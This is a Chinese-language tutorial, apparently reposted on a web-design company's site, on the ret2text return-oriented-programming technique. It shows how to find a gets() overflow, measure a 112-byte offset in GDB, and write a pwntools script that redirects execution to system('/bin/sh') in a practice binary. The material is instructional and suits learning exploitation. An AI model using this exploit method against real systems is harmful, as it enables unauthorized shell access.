緩沖區(qū)溢出-基本ROP-ret2text

本文視頻:
???????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514

創(chuàng)新互聯(lián)公司-專業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設(shè)、高性價比藁城網(wǎng)站開發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫,直接使用。一站式藁城網(wǎng)站制作公司更省心,省錢,快速模板網(wǎng)站建設(shè)找我們,業(yè)務(wù)覆蓋藁城地區(qū)。費用合理售后完善,十多年實體公司更值得信賴。

基礎(chǔ)知識:

??????? 隨著 NX 保護的開啟,以往直接向?;蛘叨焉现苯幼⑷氪a的方式難以繼續(xù)發(fā)揮效果。***者們也提出來相應(yīng)的方法來繞過保護,目前主要的是 ROP(Return Oriented Programming),其主要思想是在棧緩沖區(qū)溢出的基礎(chǔ)上,利用程序中已有的小片段 (gadgets) 來改變某些寄存器或者變量的值,從而控制程序的執(zhí)行流程。所謂 gadgets 就是以 ret 結(jié)尾的指令序列,通過這些指令序列,我們可以修改某些地址的內(nèi)容,方便控制程序的執(zhí)行流程。

之所以稱之為 ROP,是因為核心在于利用了指令集中的 ret 指令,改變了指令流的執(zhí)行順序。ROP ***一般得滿足如下條件

  • 程序存在溢出,并且可以控制返回地址。

  • 可以找到滿足條件的 gadgets 以及相應(yīng) gadgets 的地址。

如果 gadgets 每次的地址是不固定的,那我們就需要想辦法動態(tài)獲取對應(yīng)的地址了。

今天我們講一下程序在開啟NX(NX即No-eXecute(不可執(zhí)行)的意思,NX(DEP)的基本原理是將數(shù)據(jù)所在內(nèi)存頁標識為不可執(zhí)行,當程序溢出成功轉(zhuǎn)入shellcode時,程序會嘗試在數(shù)據(jù)頁面上執(zhí)行指令,此時CPU就會拋出異常,而不是去執(zhí)行惡意指令。)時如何溢出。

原理 ?

ret2text 即控制程序執(zhí)行程序本身已有的的代碼 (.text)。其實,這種***方法是一種籠統(tǒng)的描述。我們控制執(zhí)行程序已有的代碼的時候也可以控制程序執(zhí)行好幾段不相鄰的程序已有的代碼 (也就是 gadgets),這就是我們所要說的 ROP。

這時,我們需要知道對應(yīng)返回的代碼的位置。當然程序也可能會開啟某些保護,我們需要想辦法去繞過這些保護。

第一步:反匯編代碼查看代碼結(jié)構(gòu)

我們講程序放到IDA中進行分析:

緩沖區(qū)溢出-基本ROP-ret2text

我們發(fā)現(xiàn)在代碼中出現(xiàn)了gets函數(shù)(gets()唯一的參數(shù)是words,它無法檢查是否裝得下輸入行。數(shù)組名會轉(zhuǎn)換成該數(shù)組首元素的地址,因此gets()函數(shù)只知道數(shù)組的開始處,并不知道數(shù)組中有多少個元素。如果輸入的字符串過長,會導(dǎo)致緩沖區(qū)溢出(buffer overflow)).

第二步:測試溢出偏移量

講程序加載到GDB中進行調(diào)試:gdb ./xxxx

執(zhí)行命令:pattern create 200 用來創(chuàng)建字符串,幫助我們定位溢出偏移量。

緩沖區(qū)溢出-基本ROP-ret2text

執(zhí)行命令:r

輸入我們剛才創(chuàng)建的200個字符

緩沖區(qū)溢出-基本ROP-ret2text

此時會爆出一個地址,根據(jù)這個地址來得到偏移量

執(zhí)行命令pattern offset 0x41384141

緩沖區(qū)溢出-基本ROP-ret2text

發(fā)現(xiàn)偏移量是112,我們此時也知道了system("/bin/sh")的地址,將??臻g的函數(shù)返回地址改為system("/bin/sh")即可跳轉(zhuǎn)到此處執(zhí)行,從而獲取shell。地址一定是0x0804863a,因為執(zhí)行完該行之后system函數(shù)才知道參數(shù)是"/bin/sh"。

PS:也可以使用:objdump -d ./ret2text |grep system來查看地址

緩沖區(qū)溢出-基本ROP-ret2text

我們來看下代碼:

from pwn import *

elf = ELF('./ret2text')

p = process('./ret2text')

payload = 112 * 'a' + p32(0x804863a)

p.sendline(payload)

p.interactive()

網(wǎng)站題目:緩沖區(qū)溢出-基本ROP-ret2text
網(wǎng)址分享:http://bm7419.com/article36/geiesg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供面包屑導(dǎo)航、定制網(wǎng)站靜態(tài)網(wǎng)站、電子商務(wù)服務(wù)器托管、搜索引擎優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都app開發(fā)公司